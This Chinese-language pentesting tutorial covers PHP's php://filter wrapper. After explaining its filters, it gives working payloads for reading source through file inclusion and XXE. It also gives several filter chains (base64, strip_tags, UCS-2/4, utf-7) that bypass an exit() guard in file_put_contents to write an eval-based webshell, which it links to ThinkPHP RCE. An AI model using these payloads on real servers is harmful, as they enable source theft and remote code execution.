探索php://filter在實戰當中的奇技淫巧

前言

在滲透測試或漏洞挖掘的過程中,我們經常會遇到php://filter結合其它漏洞比如文件包含、文件讀取、反序列化、XXE等進行組合利用,以達到一定的攻擊效果,拿到相應的服務器權限。

最近看到php://filter在ThinkPHP反序列化中頻繁出現利用其相應構造可以RCE,那麼下面就來探索一下關於php://filter在漏洞挖掘中的一些奇技淫巧。

php://filter

在探索php://filter在實戰當中的奇技淫巧時,一定要先了解關於php://filter的原理和利用。

php://filter是一種元封裝器,是PHP中特有的協議流,設計用於數據流打開時的篩選過濾應用作用是作爲一個“中間流”來處理其他流
php://filter目標使用以下的參數作爲它路徑的一部分。複合過濾鏈能夠在一個路徑上指定。
參數
在這裏插入圖片描述
如:php://filter/(read=)convert.base64-encode/resource=xxx.php

使用
通過參數去了解php://filter的使用
測試代碼

<?php
    $file1 = $_GET['file1'];
    $file2 = $_GET['file2'];
    $txt = $_GET['txt'];
    echo file_get_contents($file1);
    file_put_contents($file2,$txt);
?>

讀取文件
payload:

index.php?file1=php://filter/resource=file.txt

index.php?file1=php://filter/read=convert.base64-encode/resource=file.php    // 專用於讀取php文件

測試結果:
在這裏插入圖片描述
寫入文件
payload:

index.php?file2=php://filter/resource=test.txt&txt=Qftm

index.php?file2=php://filter/write=convert.base64-encode/resource=test.txt&txt=Qftm

測試結果:
在這裏插入圖片描述

過濾器

String Filters

String Filters(字符串過濾器)每個過濾器都正如其名字暗示的那樣工作並與內置的 PHP 字符串函數的行爲相對應。

string.rot13

(自 PHP 4.3.0 起)使用此過濾器等同於用 str_rot13()函數處理所有的流數據

string.rot13對字符串執行 ROT13 轉換,ROT13 編碼簡單地使用字母表中後面第 13 個字母替換當前字母,同時忽略非字母表中的字符。編碼和解碼都使用相同的函數,即傳遞一個編碼過的字符串作爲參數,將得到原始字符串。

Example #1 string.rot13:

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.rot13');    // stream_filter_append函數將爲流附上過濾器
fwrite($fp, "This is a test.n");
/* 將輸出:  Guvf vf n grfg.   */
?>

php://output是php語言中一個只寫的數據流,是返回的結果數據流。它是一個只寫數據流,向php://output中寫入數據允許你以 print 和echo一樣的方式寫入到輸出緩衝區。

string.toupper

(自 PHP 5.0.0 起)使用此過濾器等同於用 strtoupper()函數處理所有的流數據

string.toupper 將字符串轉化爲大寫

Example #2 string.toupper

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.toupper');
fwrite($fp, "This is a test.n");
/* 輸出:  THIS IS A TEST.   */
?>
string.tolower

(自 PHP 5.0.0 起)使用此過濾器等同於用 strtolower()函數處理所有的流數據

string.toupper 將字符串轉化爲小寫

Example #3 string.tolower

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.tolower');
fwrite($fp, "This is a test.n");
/* 輸出:  this is a test.   */
?>
string.strip_tags

(PHP 4, PHP 5, PHP 7)(自PHP 7.3.0起已棄用此功能。)使用此過濾器等同於用 strip_tags()函數處理所有的流數據。可以用兩種格式接收參數:一種是和 strip_tags() 函數第二個參數相似的一個包含有標記列表的字符串,一種是一個包含有 標記名 的數組。

string.strip_tags 從字符串中去除 HTML 和 PHP 標記,嘗試返回給定的字符串 str 去除空字符、HTML 和 PHP 標記後的結果。它使用與函數 fgetss() 一樣的機制去除標記。

Note:

HTML 註釋和 PHP 標籤也會被去除。這裏是硬編碼處理的,所以無法通過 allowable_tags 參數進行改變。

Example #4 string.strip_tags

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b><i><u>");
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>n");
fclose($fp);
/* Outputs:  <b>bolded text</b> enlarged to a level 1 heading   */

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','i','u'));
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>n");
fclose($fp);
/* Outputs:  <b>bolded text</b> enlarged to a level 1 heading   */
?>

Conversion Filters

Conversion Filters(轉換過濾器)如同 string. 過濾器,convert. 過濾器的作用就和其名字一樣,進行編碼轉換。轉換過濾器是 PHP 5.0.0 添加的。

convert.base64

convert.base64-encode 和 convert.base64-decode 使用這兩個過濾器等同於分別用 base64_encode()和 base64_decode()函數處理所有的流數據。 convert.base64-encode支持以一個關聯數組給出的參數。如果給出了 line-length,base64 輸出將被用 line-length 個字符爲 長度而截成塊。如果給出了 line-break-chars,每塊將被用給出的字符隔開。這些參數的效果和用 base64_encode()再加上 chunk_split()相同。

Example #1 convert.base64-encode & convert.base64-decode

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode');
fwrite($fp, "This is a test.n");
fclose($fp);
/* Outputs:  VGhpcyBpcyBhIHRlc3QuCg==  */

$param = array('line-length' => 8, 'line-break-chars' => "rn");
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode', STREAM_FILTER_WRITE, $param);
fwrite($fp, "This is a test.n");
fclose($fp);
/* Outputs:  VGhpcyBp
          :  cyBhIHRl
          :  c3QuCg==  */

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-decode');
fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==");
fclose($fp);
/* Outputs:  This is a test.  */
?>
convert.quoted

convert.quoted-printable-encode 和 convert.quoted-printable-decode 使用此過濾器的 decode 版本等同於用 quoted_printable_decode()函數處理所有的流數據。沒有和 convert.quoted-printable-encode相對應的函數。 convert.quoted-printable-encode支持以一個關聯數組給出的參數。除了支持和 convert.base64-encode 一樣的附加參數外, convert.quoted-printable-encode還支持布爾參數 binary和 force-encode-first。 convert.base64-decode 只支持 line-break-chars 參數作爲從編碼載荷中剝離的類型提示。

Example #2 convert.quoted-printable-encode & convert.quoted-printable-decode

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, "This is a test.n");
/* Outputs:  =This is a test.=0A  */
?>
convert.iconv.*

這個過濾器需要 php 支持 iconv,而 iconv 是默認編譯的。使用convert.iconv.*過濾器等同於用iconv()函數處理所有的流數據。
convery.iconv.*的使用有兩種方法

convert.iconv.<input-encoding>.<output-encoding> 
or 
convert.iconv.<input-encoding>/<output-encoding>

iconv()
(PHP 4 >= 4.0.5, PHP 5, PHP 7)
iconv — 將字符串按要求的字符編碼來轉換
說明

iconv ( string $in_charset , string $out_charset , string $str ) : string

將字符串 str 從 in_charset 轉換編碼到 out_charset,返回轉換後的字符串。

Example # convert.iconv.*

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "This is a test.n");
fclose($fp);
/* Outputs: This is a test. */
?>

文件包含

在文件包含漏洞當中,因爲php://filter可以對所有文件進行編碼處理所以常常可以使用php://filter來包含讀取一些特殊敏感的文件(PHP文件、配置文件、腳本文件等)以輔助後面的漏洞挖掘。
測試代碼

<?php
    $file  = $_GET['file'];
    include($file);
?>

漏洞利用

利用姿勢1:

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

通過指定末尾的文件,可以讀取經base64加密後的文件源碼,之後再base64解碼一下就行。雖然不能直接獲取到shell等,但能讀取敏感文件危害也是挺大的。同時也能夠對網站源碼進行審計。

利用姿勢2:

index.php?file=php://filter/convert.base64-encode/resource=index.php

效果跟前面一樣,只是少了個read關鍵字,在繞過一些waf時也許有用。

XXE Encode

由於XXE漏洞的特殊性,我們在讀取HTML、PHP等文件時可能會拋出此類錯誤parser error : StartTag: invalid element name 。其原因是,PHP是基於標籤的腳本語言,這個語法也與XML相符合,所以在解析的時候會被誤認爲是XML,而其中內容(比如特殊字符)又有可能和標準XML衝突,所以導致了出錯。

那麼,爲了讀取包含有敏感信息的PHP等源文件,可以將“可能引發衝突的PHP代碼”編碼一遍,然後再顯示,這樣就不會出現衝突。

這個時候可以使用php://filter協議作爲中間流將XXE讀取的文件進行base64編碼處理之後再顯示。

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./xxe.php" >]>

Bypass file_put_contents Exit

關於代碼終結者<?php exit; ?>想必大家在漏洞挖掘中寫入shell的時候經常會遇到,在這樣的情況下無論寫入的shell是否成功都不會執行傳入的惡意代碼,因爲在惡意代碼執行之前程序就已經結束退出了,導致shell後門利用失敗

實際漏洞挖掘當中主要會遇到以下兩種限制:

  • 寫入shell的文件名和內容不一樣(前後變量不同)
  • 寫入shell的文件名和內容一樣(前後變量相同)

針對以上不同的限制手法所利用的姿勢與技巧也不太一樣,當然利用的難度也會不一樣(第二種相對第一種利用較複雜)。

下面就針對死亡exit限制手法進行探索與繞過。

Bypass-不同變量

針對寫入shell的文件名和內容不一樣的時候,進行探索繞過
測試代碼

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
?>

代碼分析
分析代碼可以看到,$content在開頭增加了exit,導致文件運行直接退出!!

在這種情況下該怎麼繞過這個限制呢,思路其實也很簡單我們只要將content前面的那部分內容使用某種手段(編碼等)進行處理,導致php不能識別該部分就可以,下面介紹探索的幾種利用繞過手法。

Bypass-轉換過濾器

在上面的介紹中我們知道php://filter中convert.base64-encode和convert.base64-decode使用這兩個過濾器等同於分別用 base64_encode()和 base64_decode()函數處理所有的流數據。

在代碼中可以看到$_POST['filename']是可以控制協議的,既然可以控制協議,那麼我們就可以使用php://filter協議的轉換過濾器進行base64編碼與解碼來繞過限制。所以我們可以將$content內容進行解碼,利用php base64_decode函數特性去除“exit”。

Base64編碼與解碼

Base64編碼是使用64個可打印ASCII字符(A-Z、a-z、0-9、+、/)將任意字節序列數據編碼成ASCII字符串,另有“=”符號用作後綴用途。base64算法解碼時是4個byte一組。

知道php base64解碼特點之後,當$content被加上了<?php exit; ?>以後,我們可以使用 php://filter/write=convert.base64-decode 來首先對其解碼。在解碼的過程中,字符< ? ; > 空格等一共有7個字符不符合base64編碼的字符範圍將被忽略,所以最終被解碼的字符僅有”phpexit”和我們傳入的其他字符。

由於,”phpexit”一共7個字符,但是base64算法解碼時是4個byte一組,所以我們可以隨便再給他添加一個字符(Q)就可以,這樣”phpexitQ”被正常解碼,而後面我們傳入的webshell的base64內容也被正常解碼,這樣就會將<?php exit; ?>這部分內容給解碼掉,從而不會影響我們寫入的webshell。

payload

http://192.33.6.145/test.php

POST
txt=QPD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B&filename=php://filter/write=convert.base64-decode/resource=shell.php      // 寫入文件時使用過濾器

base64decode組成
phpe xitQ PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+(這裏的+加號要url編碼,如上,否則不顯示)

載荷效果
在這裏插入圖片描述
從服務器上可以看到已經生成shell.php,同時<?php exit; ?>這部分已經被解碼掉了。

Bypass-字符串過濾器

除了可以使用php://filter的轉換過濾器繞過以外還可以使用其字符串過濾器進行繞過利用。

string.strip_tags

**利用php://filter中string.strip_tags過濾器去除”exit”。**使用此過濾器等同於用 strip_tags()函數處理所有的流數據。我們觀察一下,這個<?php exit; ?>,實際上是一個XML標籤,既然是XML標籤,我們就可以利用strip_tags函數去除它。
測試代碼

<?php
echo readfile('php://filter/read=string.strip_tags/resource=php://input');
?>

載荷效果
在這裏插入圖片描述
載荷利用雖然成功了,但是我們的目的是寫入webshell,如果那樣的話,我們的webshell豈不是同樣起不了作用,不過我們可以使用多個過濾器進行繞過這個限制(php://filter允許通過 | 使用多個過濾器)。

具體步驟分析

1、webshell用base64編碼   //爲了避免strip_tags的影響

2、先調用string.strip_tags //這一步先將去除<?php exit; ?>

3、在調用convert.base64-decode //這一步將再還原base64編碼的webshell

payload

http://192.33.6.145/test.php

POST
txt=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
(這裏的+加號要url編碼,如上%2B,否則不顯示)

載荷效果
在這裏插入圖片描述
從服務上可以看到已經生成shell.php,同時<?php exit; ?>這部分已經被string.strip_tags去除掉。

Bypass-相同變量

針對寫入shell的文件名和內容一樣的時候,進行探索繞過。

有了上面第一種情況的繞過與利用姿勢,那麼在第二種條件限制情況下,可以在第一種的手法上進行拓展探索利用。

測試代碼

<?php
$a = $_GET[a];
file_put_contents($a,'<?php exit();'.$a)
?>

這段代碼在ThinkPHP5.0.X反序列化中出現過,利用其組合才能夠得到RCE。有關ThinkPHP5.0.x的反序列化這裏就不說了,主要是探索如何利用php://filter繞過該限制寫入shell後門得到RCE的過程。
代碼分析
分析代碼可以看到,這種情況下寫入的文件,其文件名($a)和文件部分內容($a)一致,這就導致利用的難度大大增加了,不過最終目的還是相同的:去除死亡exit寫入shell後門。

針對這種限制手法,我們可以在上面第一種Bypass手法的基礎上進行拓展挖掘。

convert.base64

在上面不同變量利用base64構造payload的基礎上,可以針對相同變量再次構造相應payload,在文件名中包含,滿足正常解碼就可以。

a=php://filter/write=convert.base64-decode/resource=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+.php

//注意payload中的字符'+'在瀏覽器url中需要轉換爲%2B,否則不顯示

但是這樣構造發現是不可以的,因爲構造的payload裏面包含’=’符號,而base64解碼的時候如果字符’=’後面包含有其他字符則會報錯。(“=”字符在base64編碼當中是作爲填充字符出現的)

那麼能不能嘗試把字符等號去掉,分析payload可以把字符串write=去掉減少一個等號,但是字符串resource=裏面的等號不能去掉,也就導致該payload構造失敗

既然這種方法不可以那麼就可以試試探索其它方法(下面在講述convert.iconv.*的時候會講述怎麼繞過base64解碼時字符’=’的限制)

string.strip_tags

還是在上面不同變量的基礎上進行拓展,由於上面第一種情況的限制代碼直接就是<?php exit; ?>可以直接利用strip_tags去掉,但是現在這種情況下的限制代碼和上面的有點不一樣了,少了一段字符?>,其限制代碼爲<?php exit;,不過構造的目的是相同的最終還是要把exit;給去除掉。

分析兩者限制代碼的不同,那麼我們可以直接再給它加一個?>字符串進行閉合就可以利用了
構造payload

a=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+.php

//注意payload中的字符'+'在瀏覽器url中需要轉換爲%2B,否則不顯示

分析組合後未處理的文件內容,發現成功的構造php標籤<?php xxxx ?>,同時也可以發現代碼中的字符等號’=’也包含在php標籤裏面,那麼在經過strip_tags處理的時候都會去除掉,之後就不會影響base64的正常解碼了。
載荷效果
在這裏插入圖片描述
可以看到payload請求成功,在服務器上生成了相應的文件,同時也正常的寫入了webshell

雖然這樣利用成功了,但是會發現這樣的文件訪問會有問題的,採用@Cyc1e師傅介紹的方法,利用…/重命名即可解決。

利用技巧

a=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+/../Qftm.php

把?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+作爲目錄名(不管存不存在),再用…/回退一下,這樣創建出來的文件名爲Qftm.php,這樣創建出來的文件名就正常了
在這裏插入圖片描述
有一個缺點就是這種利用手法在windows下利用不成功,因爲文件名裏面的? >等這些是特殊字符會導致文件的創建失敗

convert.iconv.*

關於convert.iconv.*的詳細介紹可以看上面對php://filter的介紹。

對於iconv字符編碼轉換進行繞過的手法,其實類似於上面所述的base64編碼手段,都是先對原有字符串進行某種編碼然後再解碼,這個過程導致最初的限制exit;被去除,而我們的惡意代碼正常解碼存儲
下面具體看一下有哪些組合手法可以來Bypass exit:

UCS-2

UCS-2編碼轉換

php > echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[Qftm]);?>');

?<hp pe@av(l_$OPTSQ[tf]m;)>?      // 兩位一反轉

>>> len("<?php @eval($_POST[Qftm]);?>")
28 -> 2*14
>>>

通過UCS-2方式,對目標字符串進行2位一反轉(這裏的2LE和2BE可以看作是小端和大端的列子),也就是說構造的惡意代碼需要是UCS-2中2的倍數,不然不能進行正常反轉(多餘不滿足的字符串會被截斷),那我們就可以利用這種過濾器進行編碼轉換繞過了
構造payload

a=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?/resource=Qftm.php

組合出的payload:
<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?/resource=Qftm.php

核心部分:
<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?

>>> len("<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?")
84 -> 2*42
>>>

載荷效果
在這裏插入圖片描述
從請求和服務器查看結果可以看到構造的payload執行傳入惡意代碼後門webshell成功。

UCS-4

UCS-4編碼轉換

php > echo iconv("UCS-4LE","UCS-4BE",'<?php @eval($_POST[Qftm]);?>');

hp?<e@ p(lavOP_$Q[TS]mtf>?;)       // 4位一反轉

>>> len("<?php @eval($_POST[Qftm]);?>")
28 -> 4*7
>>>

通過UCS-4方式,對目標字符串進行4位一反轉(這裏的4LE和4BE可以看作是小端和大端的列子),也就是說構造的惡意代碼需要是UCS-4中4的倍數,不然不能進行正常反轉(多餘不滿足的字符串會被截斷),那我們就可以利用這種過濾器進行編碼轉換繞過了
構造payload

a=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)/resource=Qftm.php

組合出的payload:
<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)/resource=Qftm.php

核心部分:
<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)

>>> len("<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|")
56 -> 4*14
>>>

載荷效果
在這裏插入圖片描述
從請求和服務器查看結果可以看到構造的payload執行傳入惡意代碼後門webshell成功。

當然這種方法(UCS-2/4)對於上面講述的第一種情況前後不同變量也是一樣適用的。

utf8-utf7

前面介紹單獨用base64編碼是不可行的(繞不過字符’=’的限制),不過這裏可以藉助組合拳(iconv+base64)進行繞過字符’=’在base64解碼中的影響。通過iconv將utf-8編碼轉爲utf-7編碼,從而把’=’給轉了,最終也就不會影響到base64的正常解碼。

測試代碼

<?php

$a='php://filter/convert.iconv.utf-8.utf-7/resource=Qftm.txt';
file_put_contents($a,'=');

/**
Qftm.txt 寫入的內容爲: +AD0-   成功的將“=”給轉了
**/

從結果可以看到,convert.iconv 這個過濾器把 = 轉化成了 +AD0-,要知道 +AD0- 是可以被 convert.base64-decode過濾器解碼的,由此利用其構造組合payload繞過base64限制。
構造payload

a=php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=Qftm.php
//這裏需要注意的是要符合base64解碼按照4字節進行的

utf-8 -> utf-7
+ADw?php exit()+ADs-php://filter/write+AD0-PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+-+AHw-convert.iconv.utf-8.utf-7/resource+AD0-Qftm.php

base64解碼特點剔除不符合字符(只要惡意代碼前面部分正常就可以,長度爲4的倍數)
+ADwphpexit+ADsphp//filter/write+AD0

>>> len("+ADwphpexit+ADsphp//filter/write+AD0")
36 -> 4*9
>>>

正常base64解碼部分
+ADwphpexit+ADsphp//filter/write+AD0PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+

載荷效果
在這裏插入圖片描述
可以看到這種組合效果是可以的,成功繞過了base64與exit;的限制。

總結

這裏提到了關於php://filter常用的過濾器利用與組合利用的手法來進行漏洞挖掘或者Bypass,當然php://filter還有其他的過濾器是可以用的,不過思路都是一樣的,都是通過某種利用組合達到一定的目的。

原文:https://www.anquanke.com/post/id/202510

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章